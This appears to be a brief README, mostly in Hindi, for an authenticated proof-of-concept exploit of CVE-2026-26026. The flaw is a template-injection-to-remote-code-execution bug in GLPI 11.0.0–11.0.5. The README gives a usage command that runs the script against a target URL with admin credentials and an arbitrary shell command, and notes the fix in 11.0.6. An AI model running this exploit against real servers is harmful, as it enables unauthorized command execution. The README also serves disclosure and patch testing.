CVE-2026-26026 — GLPI Form Dropdown SSTI PoC

CVE-2026-26026 (GLPI 11.0.0–11.0.5) के लिए प्रमाणित SSTI → RCE एक्सप्लॉइट।

पूरा लेख: https://www.bzhunt.fr/blog/cve_glpi/

उपयोग

python3 POC_GLPI_Form_Dropdown_SSTI.py https://target.com \
    -u glpi -p 'glpi' --cmd 'id'

form CREATE अधिकार वाला खाता आवश्यक है (सुपर-एडमिन)। लक्ष्य GLPI ≤ 11.0.5 होना चाहिए (11.0.6 में पैच किया गया)।

pip install requests